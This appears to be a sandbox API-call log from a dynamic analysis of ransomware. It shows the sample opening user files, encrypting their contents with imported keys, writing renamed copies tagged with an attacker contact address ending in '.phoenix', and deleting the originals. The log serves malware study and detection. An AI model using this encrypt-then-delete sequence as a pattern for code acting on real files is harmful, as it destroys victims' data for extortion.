	[0252.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\defaultlayouts.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0252.919] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0252.919] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0252.919] ReadFile (in: hFile=0x2f8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1be33, lpOverlapped=0x0) returned 1
	[0253.028] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1be40, dwBufLen=0x1be40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1be40) returned 1
	[0253.028] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1be40, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1be40, lpOverlapped=0x0) returned 1
	[0253.030] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0253.030] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.030] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0253.030] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.030] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0253.030] CryptDestroyKey (hKey=0x151700) returned 1
	[0253.030] CloseHandle (hObject=0x2f8) returned 1
	[0253.031] CloseHandle (hObject=0x2fc) returned 1
	[0253.031] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\defaultlayouts.xml")) returned 1
	[0253.032] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0253.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.087] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=80) returned 1
	[0253.087] CloseHandle (hObject=0x2b0) returned 1
	[0253.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini")) returned 0x20
	[0253.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.087] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.087] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.087] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0253.088] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.088] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x50, lpOverlapped=0x0) returned 1
	[0253.088] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0253.088] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x60, lpOverlapped=0x0) returned 1
	[0253.089] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0253.089] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.089] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0253.089] CryptDestroyKey (hKey=0x151140) returned 1
	[0253.089] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0253.089] CryptDestroyKey (hKey=0x151080) returned 1
	[0253.089] CloseHandle (hObject=0x2b0) returned 1
	[0253.090] CloseHandle (hObject=0x2f4) returned 1
	[0253.090] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini")) returned 1
	[0253.090] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0253.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.151] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=148) returned 1
	[0253.151] CloseHandle (hObject=0x2f4) returned 1
	[0253.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini")) returned 0x26
	[0253.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.151] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.151] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.151] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.151] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.249] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0253.249] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.249] ReadFile (in: hFile=0x2f4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x94, lpOverlapped=0x0) returned 1
	[0253.250] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa0, dwBufLen=0xa0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa0) returned 1
	[0253.250] WriteFile (in: hFile=0x2f8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa0, lpOverlapped=0x0) returned 1
	[0253.251] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0253.251] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.251] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0253.251] CryptDestroyKey (hKey=0x151080) returned 1
	[0253.251] WriteFile (in: hFile=0x2f8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0253.251] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.251] CloseHandle (hObject=0x2f4) returned 1
	[0253.251] CloseHandle (hObject=0x2f8) returned 1
	[0253.251] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini")) returned 1
	[0253.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0253.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.319] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=558) returned 1
	[0253.319] CloseHandle (hObject=0x2f8) returned 1
	[0253.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini")) returned 0x26
	[0253.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.320] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.320] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.320] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0253.320] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0253.320] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.320] ReadFile (in: hFile=0x2f8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x22e, lpOverlapped=0x0) returned 1
	[0253.321] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x230, dwBufLen=0x230 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x230) returned 1
	[0253.321] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x230, lpOverlapped=0x0) returned 1
	[0253.322] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0253.322] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.322] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0253.322] CryptDestroyKey (hKey=0x151640) returned 1
	[0253.323] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0253.323] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.323] CloseHandle (hObject=0x2f8) returned 1
	[0253.323] CloseHandle (hObject=0x2f4) returned 1
	[0253.323] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini")) returned 1
	[0253.449] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0253.449] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.449] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=568) returned 1
	[0253.450] CloseHandle (hObject=0x2b4) returned 1
	[0253.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini")) returned 0x26
	[0253.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.450] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.450] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0253.494] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0253.494] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.494] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x238, lpOverlapped=0x0) returned 1
	[0253.495] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x240, dwBufLen=0x240 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x240) returned 1
	[0253.495] WriteFile (in: hFile=0x300, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x240, lpOverlapped=0x0) returned 1
	[0253.496] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0253.496] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.496] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0253.496] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.496] WriteFile (in: hFile=0x300, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0253.496] CryptDestroyKey (hKey=0x151780) returned 1
	[0253.496] CloseHandle (hObject=0x2b4) returned 1
	[0253.496] CloseHandle (hObject=0x300) returned 1
	[0253.497] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini")) returned 1
	[0253.978] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0253.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0253.980] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=109228) returned 1
	[0253.980] CloseHandle (hObject=0x2e4) returned 1
	[0253.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat")) returned 0x20
	[0253.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.984] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0253.984] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.984] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0253.984] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0253.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0253.997] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0253.997] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1aaac, lpOverlapped=0x0) returned 1
	[0254.077] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1aab0, dwBufLen=0x1aab0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1aab0) returned 1
	[0254.077] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1aab0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1aab0, lpOverlapped=0x0) returned 1
	[0254.079] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0254.080] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.080] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
